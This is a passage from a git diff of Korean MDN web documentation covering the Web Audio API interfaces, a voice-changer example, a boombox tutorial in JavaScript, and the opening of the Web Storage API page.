코드를 작성하는 것은 카드 게임과 비슷합니다. 규칙을 배우고, 플레이합니다. 모르겠는 규칙은 다시 공부하고, 다시 새로운 판을 합니다. 마찬가지로, 이 문서와 첫 튜토리얼에서 설명하는 것만으로 부족하다고 느끼신다면 첫 튜토리얼의 내용을 보충하는 동시에 여러 테크닉을 이용하여 스텝 시퀀서를 만드는 법을 설명하는 상급자용 튜토리얼을 읽어보시는 것을 추천합니다.

+ +

그 외에도 이 페이지의 사이드바에서 API의 모든 기능을 설명하는 참고자료와 다양한 튜토리얼을 찾아 보실 수 있습니다.

+ +

만약에 프로그래밍보다는 음악이 친숙하고, 음악 이론에 익숙하며, 악기를 만들고 싶으시다면 바로 상급자용 튜토리얼부터 시작하여 여러가지를 만들기 시작하시면 됩니다. 위의 튜토리얼은 음표를 배치하는 법, 저주파 발진기 등 맞춤형 Oscillator(발진기)와 Envelope를 설계하는 법 등을 설명하고 있으니, 이를 읽으며 사이드바의 자료를 참고하시면 될 것입니다.

+ +

프로그래밍에 전혀 익숙하지 않으시다면 자바스크립트 기초 튜토리얼을 먼저 읽고 이 문서를 다시 읽으시는 게 나을 수도 있습니다. 모질라의 자바스크립트 기초만큼 좋은 자료도 몇 없죠.

+ +

Web Audio API Interfaces

+ +

Web Audio API는 다양한 인터페이스와 연관 이벤트를 가지고 있으며, 이는 9가지의 기능적 범주로 나뉩니다.

+ +

일반 오디오 그래프 정의

+ +

Web Audio API 사용범위 내에서 오디오 그래프를 형성하는 일반적인 컨테이너와 정의입니다.

+ +
+
{{domxref("AudioContext")}}
+
AudioContext 인터페이스는 오디오 모듈이 서로 연결되어 구성된 오디오 프로세싱 그래프를 표현하며, 각각의 그래프는 {{domxref("AudioNode")}}로 표현됩니다. AudioContext는 자신이 가지고 있는 노드의 생성과 오디오 프로세싱 혹은 디코딩의 실행을 제어합니다. 어떤 작업이든 시작하기 전에 AudioContext를 생성해야 합니다. 모든 작업은 컨텍스트 내에서 이루어집니다.
+
{{domxref("AudioNode")}}
+
AudioNode 인터페이스는 오디오 소스({{HTMLElement("audio")}}나 {{HTMLElement("video")}}엘리먼트), 오디오 목적지, 중간 처리 모듈({{domxref("BiquadFilterNode")}}이나 {{domxref("GainNode")}})과 같은 오디오 처리 모듈을 나타냅니다.
+
{{domxref("AudioParam")}}
+
AudioParam 인터페이스는 {{domxref("AudioNode")}}중 하나와 같은 오디오 관련 파라미터를 나타냅니다. 이는 특정 값 또는 값 변경으로 세팅되거나, 특정 시간에 발생하고 특정 패턴을 따르도록 스케쥴링할 수 있습니다.
+
The {{event("ended")}} event
+
+

ended 이벤트는 미디어의 끝에 도달하여 재생이 정지되면 호출됩니다.

+
+
+ +

오디오 소스 정의하기

+ +

Web Audio API에서 사용하기 위한 오디오 소스를 정의하는 인터페이스입니다.

+ +
+
{{domxref("OscillatorNode")}}
+
OscillatorNode 인터페이스는 삼각파 또는 사인파와 같은 주기적 파형을 나타냅니다. 이것은 주어진 주파수의 파동을 생성하는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다.
+
{{domxref("AudioBuffer")}}
+
AudioBuffer 인터페이스는 {{ domxref("AudioContext.decodeAudioData()") }}메소드를 사용해 오디오 파일에서 생성되거나 {{ domxref("AudioContext.createBuffer()") }}를 사용해 로우 데이터로부터 생성된 메모리상에 적재되는 짧은 오디오 자원을 나타냅니다. 이 형식으로 디코딩된 오디오는 {{ domxref("AudioBufferSourceNode") }}에 삽입될 수 있습니다.
+
{{domxref("AudioBufferSourceNode")}}
+
AudioBufferSourceNode 인터페이스는 {{domxref("AudioBuffer")}}에 저장된 메모리상의 오디오 데이터로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.
+
{{domxref("MediaElementAudioSourceNode")}}
+
MediaElementAudioSourceNode 인터페이스는 {{ htmlelement("audio") }} 나 {{ htmlelement("video") }} HTML 엘리먼트로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.
+
{{domxref("MediaStreamAudioSourceNode")}}
+
MediaStreamAudioSourceNode 인터페이스는 WebRTC {{domxref("MediaStream")}}(웹캡, 마이크 혹은 원격 컴퓨터에서 전송된 스트림)으로 구성된 오디오 소스를 나타냅니다. 이것은 오디오 소스 역할을 하는 {{domxref("AudioNode")}}입니다.
+
+ +

오디오 이펙트 필터 정의하기

+ +

오디오 소스에 적용할 이펙트를 정의하는 인터페이스입니다.

+ +
+
{{domxref("BiquadFilterNode")}}
+
BiquadFilterNode 인터페이스는 간단한 하위 필터를 나타냅니다. 이것은 여러 종류의 필터나 톤 제어 장치 혹은 그래픽 이퀄라이저를 나타낼 수 있는 {{domxref("AudioNode")}}입니다. BiquadFilterNode는 항상 단 하나의 입력과 출력만을 가집니다. 
+
{{domxref("ConvolverNode")}}
+
ConvolverNode 인터페이스는 주어진 {{domxref("AudioBuffer")}}에 선형 콘볼루션을 수행하는 {{domxref("AudioNode")}}이며, 리버브 이펙트를 얻기 위해 자주 사용됩니다. 
+
{{domxref("DelayNode")}}
+
DelayNode 인터페이스는 지연선을 나타냅니다. 지연선은 입력 데이터가 출력에 전달되기까지의 사이에 딜레이를 발생시키는 {{domxref("AudioNode")}} 오디오 처리 모듈입니다.
+
{{domxref("DynamicsCompressorNode")}}
+
DynamicsCompressorNode 인터페이스는 압축 이펙트를 제공합니다, 이는 신호의 가장 큰 부분의 볼륨을 낮추어 여러 사운드를 동시에 재생할 때 발생할 수 있는 클리핑 및 왜곡을 방지합니다.
+
{{domxref("GainNode")}}
+
GainNode 인터페이스는 음량의 변경을 나타냅니다. 이는 출력에 전달되기 전의 입력 데이터에 주어진 음량 조정을 적용하기 위한 {{domxref("AudioNode")}} 오디오 모듈입니다.
+
{{domxref("StereoPannerNode")}}
+
StereoPannerNode 인터페이스는 오디오 스트림을 좌우로 편향시키는데 사용될 수 있는 간단한 스테레오 패너 노드를 나타냅니다.
+
{{domxref("WaveShaperNode")}}
+
WaveShaperNode 인터페이스는 비선형 왜곡을 나타냅니다. 이는 곡선을 사용하여 신호의 파형 형성에 왜곡을 적용하는 {{domxref("AudioNode")}}입니다. 분명한 왜곡 이펙트 외에도 신호에 따뜻한 느낌을 더하는데 자주 사용됩니다.
+
{{domxref("PeriodicWave")}}
+
{{domxref("OscillatorNode")}}의 출력을 형성하는데 사용될 수 있는 주기적 파형을 설명합니다.
+
+ +

오디오 목적지 정의하기

+ +

처리된 오디오를 어디에 출력할지 정의하는 인터페이스입니다.

+ +
+
{{domxref("AudioDestinationNode")}}
+
AudioDestinationNode 인터페이스는 주어진 컨텍스트 내의 오디오 소스의 최종 목적지를 나타냅니다. 주로 기기의 스피커로 출력할 때 사용됩니다.
+
{{domxref("MediaStreamAudioDestinationNode")}}
+
MediaStreamAudioDestinationNode 인터페이스는 단일 AudioMediaStreamTrack 을 가진 WebRTC {{domxref("MediaStream")}}로 구성된 오디오 목적지를 나타내며, 이는 {{ domxref("MediaDevices.getUserMedia", "getUserMedia()") }}에서 얻은 {{domxref("MediaStream")}}과 비슷한 방식으로 사용할 수 있습니다. 이것은 오디오 목적지 역할을 하는 {{domxref("AudioNode")}}입니다.
+
+ +

데이터 분석 및 시각화

+ +

오디오에서 재생시간이나 주파수 등의 데이터를 추출하기 위한 인터페이스입니다.

+ +
+
{{domxref("AnalyserNode")}}
+
AnalyserNode 인터페이스는 데이터를 분석하고 시각화하기 위한 실시간 주파수와 시간영역 분석 정보를 제공하는 노드를 나타냅니다.
+
+ +

오디오 채널을 분리하고 병합하기

+ +

오디오 채널들을 분리하거나 병합하기 위한 인터페이스입니다.

+ +
+
{{domxref("ChannelSplitterNode")}}
+
ChannelSplitterNode 인터페이스는 오디오 소스의 여러 채널을 모노 출력 셋으로 분리합니다.
+
{{domxref("ChannelMergerNode")}}
+
ChannelMergerNode 인터페이스는 여러 모노 입력을 하나의 출력으로 재결합합니다. 각 입력은 출력의 채널을 채우는데 사용될 것입니다.
+
+ +

오디오 공간화

+ +

오디오 소스에 오디오 공간화 패닝 이펙트를 추가하는 인터페이스입니다.

+ +
+
{{domxref("AudioListener")}}
+
AudioListener 인터페이스는 오디오 공간화에 사용되는 오디오 장면을 청취하는 고유한 시청자의 위치와 방향을 나타냅니다.
+
{{domxref("PannerNode")}}
+
PannerNode 인터페이스는 공간 내의 신호 양식을 나타냅니다. 이것은 자신의 오른손 직교 좌표 내의 포지션과, 속도 벡터를 이용한 움직임과, 방향성 원뿔을 이용한 방향을 서술하는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다.
+
+ +

자바스크립트에서 오디오 처리하기

+ +

자바스크립트에서 오디오 데이터를 처리하기 위한 코드를 작성할 수 있습니다. 이렇게 하려면 아래에 나열된 인터페이스와 이벤트를 사용하세요.

+ +
+

이것은 Web Audio API 2014년 8월 29일의 스펙입니다. 이 기능은 지원이 중단되고 {{ anch("Audio_Workers") }}로 대체될 예정입니다.

+
+ +
+
{{domxref("ScriptProcessorNode")}}
+
ScriptProcessorNode 인터페이스는 자바스크립트를 이용한 오디오 생성, 처리, 분석 기능을 제공합니다. 이것은 현재 입력 버퍼와 출력 버퍼, 총 두 개의 버퍼에 연결되는 {{domxref("AudioNode")}} 오디오 프로세싱 모듈입니다. {{domxref("AudioProcessingEvent")}}인터페이스를 구현하는 이벤트는 입력 버퍼에 새로운 데이터가 들어올 때마다 객체로 전달되고, 출력 버퍼가 데이터로 채워지면 이벤트 핸들러가 종료됩니다.
+
{{event("audioprocess")}} (event)
+
audioprocess 이벤트는 Web Audio API {{domxref("ScriptProcessorNode")}}의 입력 버퍼가 처리될 준비가 되었을 때 발생합니다.
+
{{domxref("AudioProcessingEvent")}}
+
Web Audio API AudioProcessingEvent 는 {{domxref("ScriptProcessorNode")}} 입력 버퍼가 처리될 준비가 되었을 때 발생하는 이벤트를 나타냅니다.
+
+ +

오프라인/백그라운드 오디오 처리하기

+ +

다음을 이용해 백그라운드(장치의 스피커가 아닌 {{domxref("AudioBuffer")}}으로 렌더링)에서 오디오 그래프를 신속하게 처리/렌더링 할수 있습니다.

+ +
+
{{domxref("OfflineAudioContext")}}
+
OfflineAudioContext 인터페이스는 {{domxref("AudioNode")}}로 연결되어 구성된 오디오 프로세싱 그래프를 나타내는 {{domxref("AudioContext")}} 인터페이스입니다. 표준 AudioContext 와 대조적으로, OfflineAudioContext 는 실제로 오디오를 렌더링하지 않고 가능한 빨리 버퍼 내에서 생성합니다. 
+
{{event("complete")}} (event)
+
complete 이벤트는 {{domxref("OfflineAudioContext")}}의 렌더링이 종료될때 발생합니다.
+
{{domxref("OfflineAudioCompletionEvent")}}
+
OfflineAudioCompletionEvent 이벤트는 {{domxref("OfflineAudioContext")}} 의 처리가 종료될 때 발생하는 이벤트를 나타냅니다. {{event("complete")}} 이벤트는 이 이벤트를 구현합니다.
+
+ +

오디오 워커

+ +

오디오 워커는 web worker 컨텍스트 내에서 스크립팅된 오디오 처리를 관리하기 위한 기능을 제공하며, 두어가지 인터페이스로 정의되어 있습니다(2014년 8월 29일 새로운 기능이 추가되었습니다). 이는 아직 모든 브라우저에서 구현되지 않았습니다. 구현된 브라우저에서는 Audio processing in JavaScript에서 설명된 {{domxref("ScriptProcessorNode")}}를 포함한 다른 기능을 대체합니다.

+ +
+
{{domxref("AudioWorkerNode")}}
+
AudioWorkerNode 인터페이스는 워커 쓰레드와 상호작용하여 오디오를 직접 생성, 처리, 분석하는 {{domxref("AudioNode")}}를 나타냅니다. 
+
{{domxref("AudioWorkerGlobalScope")}}
+
AudioWorkerGlobalScope 인터페이스는 DedicatedWorkerGlobalScope 에서 파생된 오디오 처리 스크립트가 실행되는 워커 컨텍스트를 나타내는 객체입니다. 이것은 워커 쓰레드 내에서 자바스크립트를 이용하여 직접 오디오 데이터를 생성, 처리, 분석할 수 있도록 설계되었습니다.
+
{{domxref("AudioProcessEvent")}}
+
이것은 처리를 수행하기 위해 {{domxref("AudioWorkerGlobalScope")}} 오브젝트로 전달되는 Event 오브젝트입니다.
+
+ +

Obsolete interfaces

+ +

The following interfaces were defined in old versions of the Web Audio API spec, but are now obsolete and have been replaced by other interfaces.

+ +
+
{{domxref("JavaScriptNode")}}
+
Used for direct audio processing via JavaScript. This interface is obsolete, and has been replaced by {{domxref("ScriptProcessorNode")}}.
+
{{domxref("WaveTableNode")}}
+
Used to define a periodic waveform. This interface is obsolete, and has been replaced by {{domxref("PeriodicWave")}}.
+
+ +

Example

+ +

This example shows a wide variety of Web Audio API functions being used. You can see this code in action on the Voice-change-o-matic demo (also check out the full source code at Github) — this is an experimental voice changer toy demo; keep your speakers turned down low when you use it, at least to start!

+ +

The Web Audio API lines are highlighted; if you want to find out more about what the different methods, etc. do, have a search around the reference pages.

+ +
var audioCtx = new (window.AudioContext || window.webkitAudioContext)(); // define audio context
+// Webkit/blink browsers need prefix, Safari won't work without window.
+
+var voiceSelect = document.getElementById("voice"); // select box for selecting voice effect options
+var visualSelect = document.getElementById("visual"); // select box for selecting audio visualization options
+var mute = document.querySelector('.mute'); // mute button
+var drawVisual; // requestAnimationFrame
+
+var analyser = audioCtx.createAnalyser();
+var distortion = audioCtx.createWaveShaper();
+var gainNode = audioCtx.createGain();
+var biquadFilter = audioCtx.createBiquadFilter();
+
+function makeDistortionCurve(amount) { // function to make curve shape for distortion/wave shaper node to use
+  var k = typeof amount === 'number' ? amount : 50,
+    n_samples = 44100,
+    curve = new Float32Array(n_samples),
+    deg = Math.PI / 180,
+    i = 0,
+    x;
+  for ( ; i < n_samples; ++i ) {
+    x = i * 2 / n_samples - 1;
+    curve[i] = ( 3 + k ) * x * 20 * deg / ( Math.PI + k * Math.abs(x) );
+  }
+  return curve;
+};
+
+navigator.getUserMedia (
+  // constraints - only audio needed for this app
+  {
+    audio: true
+  },
+
+  // Success callback
+  function(stream) {
+    source = audioCtx.createMediaStreamSource(stream);
+    source.connect(analyser);
+    analyser.connect(distortion);
+    distortion.connect(biquadFilter);
+    biquadFilter.connect(gainNode);
+    gainNode.connect(audioCtx.destination); // connecting the different audio graph nodes together
+
+    visualize(stream);
+    voiceChange();
+
+  },
+
+  // Error callback
+  function(err) {
+    console.log('The following gUM error occured: ' + err);
+  }
+);
+
+function visualize(stream) {
+  WIDTH = canvas.width;
+  HEIGHT = canvas.height;
+
+  var visualSetting = visualSelect.value;
+  console.log(visualSetting);
+
+  if(visualSetting == "sinewave") {
+    analyser.fftSize = 2048;
+    var bufferLength = analyser.frequencyBinCount; // half the FFT value
+    var dataArray = new Uint8Array(bufferLength); // create an array to store the data
+
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+
+    function draw() {
+
+      drawVisual = requestAnimationFrame(draw);
+
+      analyser.getByteTimeDomainData(dataArray); // get waveform data and put it into the array created above
+
+      canvasCtx.fillStyle = 'rgb(200, 200, 200)'; // draw wave with canvas
+      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+
+      canvasCtx.lineWidth = 2;
+      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
+
+      canvasCtx.beginPath();
+
+      var sliceWidth = WIDTH * 1.0 / bufferLength;
+      var x = 0;
+
+      for(var i = 0; i < bufferLength; i++) {
+
+        var v = dataArray[i] / 128.0;
+        var y = v * HEIGHT/2;
+
+        if(i === 0) {
+          canvasCtx.moveTo(x, y);
+        } else {
+          canvasCtx.lineTo(x, y);
+        }
+
+        x += sliceWidth;
+      }
+
+      canvasCtx.lineTo(canvas.width, canvas.height/2);
+      canvasCtx.stroke();
+    };
+
+    draw();
+
+  } else if(visualSetting == "off") {
+    canvasCtx.clearRect(0, 0, WIDTH, HEIGHT);
+    canvasCtx.fillStyle = "red";
+    canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
+  }
+
+}
+
+function voiceChange() {
+  distortion.curve = new Float32Array;
+  biquadFilter.gain.value = 0; // reset the effects each time the voiceChange function is run
+
+  var voiceSetting = voiceSelect.value;
+  console.log(voiceSetting);
+
+  if(voiceSetting == "distortion") {
+    distortion.curve = makeDistortionCurve(400); // apply distortion to sound using waveshaper node
+  } else if(voiceSetting == "biquad") {
+    biquadFilter.type = "lowshelf";
+    biquadFilter.frequency.value = 1000;
+    biquadFilter.gain.value = 25; // apply lowshelf filter to sounds using biquad
+  } else if(voiceSetting == "off") {
+    console.log("Voice settings turned off"); // do nothing, as off option was chosen
+  }
+
+}
+
+// event listeners to change visualize and voice settings
+
+visualSelect.onchange = function() {
+  window.cancelAnimationFrame(drawVisual);
+  visualize(stream);
+}
+
+voiceSelect.onchange = function() {
+  voiceChange();
+}
+
+mute.onclick = voiceMute;
+
+function voiceMute() { // toggle to mute and unmute sound
+  if(mute.id == "") {
+    gainNode.gain.value = 0; // gain set to 0 to mute sound
+    mute.id = "activated";
+    mute.innerHTML = "Unmute";
+  } else {
+    gainNode.gain.value = 1; // gain set to 1 to unmute sound
+    mute.id = "";
+    mute.innerHTML = "Mute";
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Web Audio API')}}{{Spec2('Web Audio API')}}
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support14 {{property_prefix("webkit")}}{{CompatVersionUnknown}}23{{CompatNo}}15 {{property_prefix("webkit")}}
+ 22 (unprefixed)
6 {{property_prefix("webkit")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatNo}}28 {{property_prefix("webkit")}}{{CompatVersionUnknown}}251.2{{CompatNo}}{{CompatNo}}6 {{property_prefix("webkit")}}
+
+ +

See also

+ + + + diff --git a/files/ko/web/api/web_audio_api/using_web_audio_api/index.html b/files/ko/web/api/web_audio_api/using_web_audio_api/index.html new file mode 100644 index 0000000000..3b64b5809c --- /dev/null +++ b/files/ko/web/api/web_audio_api/using_web_audio_api/index.html @@ -0,0 +1,238 @@ +--- +title: Using the Web Audio API +slug: Web/API/Web_Audio_API/Using_Web_Audio_API +translation_of: Web/API/Web_Audio_API/Using_Web_Audio_API +--- +
{{DefaultAPISidebar("Web Audio API")}}
+ +

Let's take a look at getting started with the Web Audio API. We'll briefly look at some concepts, then study a simple boombox example that allows us to load an audio track, play and pause it, and change its volume and stereo panning.

+ +

The Web Audio API does not replace the {{HTMLElement("audio")}} media element, but rather complements it, just like {{HTMLElement("canvas")}} coexists alongside the {{HTMLElement("img")}} element. Your use case will determine what tools you use to implement audio. If you simply want to control playback of an audio track, the <audio> media element provides a better, quicker solution than the Web Audio API. If you want to carry out more complex audio processing, as well as playback, the Web Audio API provides much more power and control.

+ +

A powerful feature of the Web Audio API is that it does not have a strict "sound call limitation". For example, there is no ceiling of 32 or 64 sound calls at one time. Some processors may be capable of playing more than 1,000 simultaneous sounds without stuttering.

+ +

Example code

+ +

Our boombox looks like this:

+ +

A boombox with play, pan, and volume controls

+ +

플레이 버튼과 볼륨조절 버튼 그리고 스테레오 패닝(Stereo panning)을 위한 슬라이더가 있는 레트로 카세트덱이 있습니다. 카세트덱을 이것보다 더 복잡하게 만들 수 있겠지만 이 단계에서는 이정도로 학습을 하는데에는 충분합니다.

+ +

Check out the final demo here on Codepen, or see the source code on GitHub.

+ +

Browser support

+ +

현대의 브라우저들은 Web Audio API에 대한 대부분의 기능들을 제공합니다. API의 여러 특징(features)이 있지만 더 정확한 정보는 각 페이지의 아래에 있는 브라우저 호환 테이블(the browser compatibility tables)을 확인하세요.

+ +

Audio graphs

+ +

Everything within the Web Audio API is based around the concept of an audio graph, which is made up of nodes.

+ +

The Web Audio API handles audio operations inside an audio context, and has been designed to allow modular routing. Basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph. You have input nodes, which are the source of the sounds you are manipulating, modification nodes that change those sounds as desired, and output nodes (destinations), which allow you to save or hear those sounds.

+ +

Several audio sources with different channel layouts are supported, even within a single context. Because of this modular design, you can create complex audio functions with dynamic effects.

+ +

Audio context

+ +

To be able to do anything with the Web Audio API, we need to create an instance of the audio context. This then gives us access to all the features and functionality of the API.

+ +
// for legacy browsers
+const AudioContext = window.AudioContext || window.webkitAudioContext;
+
+const audioContext = new AudioContext();
+
+ +

So what's going on when we do this? A {{domxref("BaseAudioContext")}} is created for us automatically and extended to an online audio context. We'll want this because we're looking to play live sound.

+ +
+

Note: If you just want to process audio data, for instance, buffer and stream it but not play it, you might want to look into creating an {{domxref("OfflineAudioContext")}}.

+
+ +

Loading sound

+ +

Now, the audio context we've created needs some sound to play through it. There are a few ways to do this with the API. Let's begin with a simple method — as we have a boombox, we most likely want to play a full song track. Also, for accessibility, it's nice to expose that track in the DOM. We'll expose the song on the page using an {{htmlelement("audio")}} element.

+ +
<audio src="myCoolTrack.mp3" type="audio/mpeg"></audio>
+
+ +
+

Note: If the sound file you're loading is held on a different domain you will need to use the crossorigin attribute; see Cross Origin Resource Sharing (CORS)  for more information.

+
+ +

To use all the nice things we get with the Web Audio API, we need to grab the source from this element and pipe it into the context we have created. Lucky for us there's a method that allows us to do just that — {{domxref("AudioContext.createMediaElementSource")}}:

+ +
// get the audio element
+const audioElement = document.querySelector('audio');
+
+// pass it into the audio context
+const track = audioContext.createMediaElementSource(audioElement);
+
+ +
+

Note: The <audio> element above is represented in the DOM by an object of type {{domxref("HTMLMediaElement")}}, which comes with its own set of functionality. All of this has stayed intact; we are merely allowing the sound to be available to the Web Audio API.

+
+ +

Controlling sound

+ +

When playing sound on the web, it's important to allow the user to control it. Depending on the use case, there's a myriad of options, but we'll provide functionality to play/pause the sound, alter the track's volume, and pan it from left to right.

+ +

Controlling sound programmatically from JavaScript code is covered by browsers' autoplay support policies, as such is likely to be blocked without permission being granted by the user (or a whitelist). Autoplay policies typically require either explicit permission or a user engagement with the page before scripts can trigger audio to play.

+ +

These special requirements are in place essentially because unexpected sounds can be annoying and intrusive, and can cause accessibility problems. You can learn more about this in our article Autoplay guide for media and Web Audio APIs.

+ +

Since our scripts are playing audio in response to a user input event (a click on a play button, for instance), we're in good shape and should have no problems from autoplay blocking. So, let's start by taking a look at our play and pause functionality. We have a play button that changes to a pause button when the track is playing:

+ +
<button data-playing="false" role="switch" aria-checked="false">
+    <span>Play/Pause</span>
+</button>
+
+ +

Before we can play our track we need to connect our audio graph from the audio source/input node to the destination.

+ +

We've already created an input node by passing our audio element into the API. For the most part, you don't need to create an output node, you can just connect your other nodes to {{domxref("BaseAudioContext.destination")}}, which handles the situation for you:

+ +
track.connect(audioContext.destination);
+
+ +

A good way to visualise these nodes is by drawing an audio graph so you can visualize it. This is what our current audio graph looks like:

+ +

an audio graph with an audio element source connected to the default destination

+ +

Now we can add the play and pause functionality.

+ +
// select our play button
+const playButton = document.querySelector('button');
+
+playButton.addEventListener('click', function() {
+
+    // check if context is in suspended state (autoplay policy)
+    if (audioContext.state === 'suspended') {
+        audioContext.resume();
+    }
+
+    // play or pause track depending on state
+    if (this.dataset.playing === 'false') {
+        audioElement.play();
+        this.dataset.playing = 'true';
+    } else if (this.dataset.playing === 'true') {
+        audioElement.pause();
+        this.dataset.playing = 'false';
+    }
+
+}, false);
+
+ +

We also need to take into account what to do when the track finishes playing. Our HTMLMediaElement fires an ended event once it's finished playing, so we can listen for that and run code accordingly:

+ +
audioElement.addEventListener('ended', () => {
+    playButton.dataset.playing = 'false';
+}, false);
+
+ +

Modifying sound

+ +

Let's delve into some basic modification nodes, to change the sound that we have. This is where the Web Audio API really starts to come in handy. First of all, let's change the volume. This can be done using a {{domxref("GainNode")}}, which represents how big our sound wave is.

+ +

There are two ways you can create nodes with the Web Audio API. You can use the factory method on the context itself (e.g. audioContext.createGain()) or via a constructor of the node (e.g. new GainNode()). We'll use the factory method in our code:

+ +
const gainNode = audioContext.createGain();
+
+ +

Now we have to update our audio graph from before, so the input is connected to the gain, then the gain node is connected to the destination:

+ +
track.connect(gainNode).connect(audioContext.destination);
+
+ +

This will make our audio graph look like this:

+ +

an audio graph with an audio element source, connected to a gain node that modifies the audio source, and then going to the default destination

+ +

The default value for gain is 1; this keeps the current volume the same. Gain can be set to a minimum of about -3.4 and a max of about 3.4. Here we'll allow the boombox to move the gain up to 2 (double the original volume) and down to 0 (this will effectively mute our sound).

+ +

Let's give the user control to do this — we'll use a range input:

+ +
<input type="range" id="volume" min="0" max="2" value="1" step="0.01">
+
+ +
+

Note: Range inputs are a really handy input type for updating values on audio nodes. You can specify a range's values and use them directly with the audio node's parameters.

+
+ +

So let's grab this input's value and update the gain value when the input node has its value changed by the user:

+ +
const volumeControl = document.querySelector('#volume');
+
+volumeControl.addEventListener('input', function() {
+    gainNode.gain.value = this.value;
+}, false);
+
+ +
+

Note: The values of node objects (e.g. GainNode.gain) are not simple values; they are actually objects of type {{domxref("AudioParam")}} — these called parameters. This is why we have to set GainNode.gain's value property, rather than just setting the value on gain directly. This enables them to be much more flexible, allowing for passing the parameter a specific set of values to change between over a set period of time, for example.

+
+ +

Great, now the user can update the track's volume! The gain node is the perfect node to use if you want to add mute functionality.

+ +

Adding stereo panning to our app

+ +

Let's add another modification node to practise what we've just learnt.

+ +

There's a {{domxref("StereoPannerNode")}} node, which changes the balance of the sound between the left and right speakers, if the user has stereo capabilities.

+ +

Note: The StereoPannerNode is for simple cases in which you just want stereo panning from left to right. There is also a {{domxref("PannerNode")}}, which allows for a great deal of control over 3D space, or sound spatialisation, for creating more complex effects. This is used in games and 3D apps to create birds flying overhead, or sound coming from behind the user for instance.

+ +

To visualise it, we will be making our audio graph look like this:

+ +

An image showing the audio graph showing an input node, two modification nodes (a gain node and a stereo panner node) and a destination node.

+ +

Let's use the constructor method of creating a node this time. When we do it this way, we have to pass in the context and any options that that particular node may take:

+ +
const pannerOptions = { pan: 0 };
+const panner = new StereoPannerNode(audioContext, pannerOptions);
+
+ +
+

Note: The constructor method of creating nodes is not supported by all browsers at this time. The older factory methods are supported more widely.

+
+ +

Here our values range from -1 (far left) and 1 (far right). Again let's use a range type input to vary this parameter:

+ +
<input type="range" id="panner" min="-1" max="1" value="0" step="0.01">
+
+ +

We use the values from that input to adjust our panner values in the same way as we did before:

+ +
const pannerControl = document.querySelector('#panner');
+
+pannerControl.addEventListener('input', function() {
+    panner.pan.value = this.value;
+}, false);
+
+ +

Let's adjust our audio graph again, to connect all the nodes together:

+ +
track.connect(gainNode).connect(panner).connect(audioContext.destination);
+
+ +

The only thing left to do is give the app a try: Check out the final demo here on Codepen.

+ +

Summary

+ +

Great! We have a boombox that plays our 'tape', and we can adjust the volume and stereo panning, giving us a fairly basic working audio graph.

+ +

This makes up quite a few basics that you would need to start to add audio to your website or web app. There's a lot more functionality to the Web Audio API, but once you've grasped the concept of nodes and putting your audio graph together, we can move on to looking at more complex functionality.

+ +

More examples

+ +

There are other examples available to learn more about the Web Audio API.

+ +

The Voice-change-O-matic is a fun voice manipulator and sound visualization web app that allows you to choose different effects and visualizations. The application is fairly rudimentary, but it demonstrates the simultaneous use of multiple Web Audio API features. (run the Voice-change-O-matic live).

+ +

A UI with a sound wave being shown, and options for choosing voice effects and visualizations.

+ +

Another application developed specifically to demonstrate the Web Audio API is the Violent Theremin, a simple web application that allows you to change pitch and volume by moving your mouse pointer. It also provides a psychedelic lightshow (see Violent Theremin source code).

+ +

A page full of rainbow colours, with two buttons labeled Clear screen and mute.

+ +

Also see our webaudio-examples repo for more examples.

diff --git a/files/ko/web/api/web_storage_api/index.html b/files/ko/web/api/web_storage_api/index.html new file mode 100644 index 0000000000..68af357a42 --- /dev/null +++ b/files/ko/web/api/web_storage_api/index.html @@ -0,0 +1,117 @@ +--- +title: Web Storage API +slug: Web/API/Web_Storage_API +tags: + - API + - Reference + - Storage + - Web Storage + - Web Storage API + - localStorage + - sessionStorage + - 로컬스토리지 + - 세션스토리지 + - 웹 스토리지 +translation_of: Web/API/Web_Storage_API +--- +
{{DefaultAPISidebar("Web Storage API")}}
+ +

Web Storage API는 브라우저에서 키/값 쌍을 {{glossary("cookie", "쿠키")}}보다 훨씬 직관적으로 저장할 수 있는 방법을 제공합니다.

+ +

Web Storage 개념과 사용법

+ +

Web Storage의 두 가지 방식은 다음과 같습니다.

+ + + +

위의 방식은 {{domxref("Window.sessionStorage")}}와 {{domxref("Window.localStorage")}} 속성을 통해 사용할 수 있습니다. (보다 정확히 말하자면, 지원하는 브라우저에서는 Window 객체는 localStoragesessionStorage 속성을 포함한 WindowLocalStorageWindowSessionStorage 객체를 구현합니다) 두 속성 중 하나에 접근하면 {{domxref("Storage")}} 객체의 인스턴스를 생성하게 되고, 그걸 사용해 데이터 항목을 추가, 회수, 제거할 수 있습니다. sessionStoragelocalStorageStorage 객체는 각각의 출처별로 다른 것을 사용하며 서로 독립적으로 기능합니다.

+ +
+

참고: Firefox 45 이후로는, 과도한 Web Storage 사용으로 인한 메모리 문제를 피하기 위해 브라우저가 충돌하거나 재시작할 때의 출처 당 저장 공간이 10MB로 제한됩니다.

+
+ +
+

참고: 사용자가 서드 파티 쿠키를 비활성화한 경우 서드 파티 IFrame에서 Web Storage에 접근할 수 없습니다. Firefox는 43부터 이 동작을 사용합니다.

+
+ +

Web Storage 인터페이스

+ +
+
{{domxref("Storage")}}
+
특정 도메인과 저장 유형(세션 또는 로컬)에 대해 데이터를 저장, 회수, 삭제할 수 있습니다.
+
{{domxref("Window")}}
+
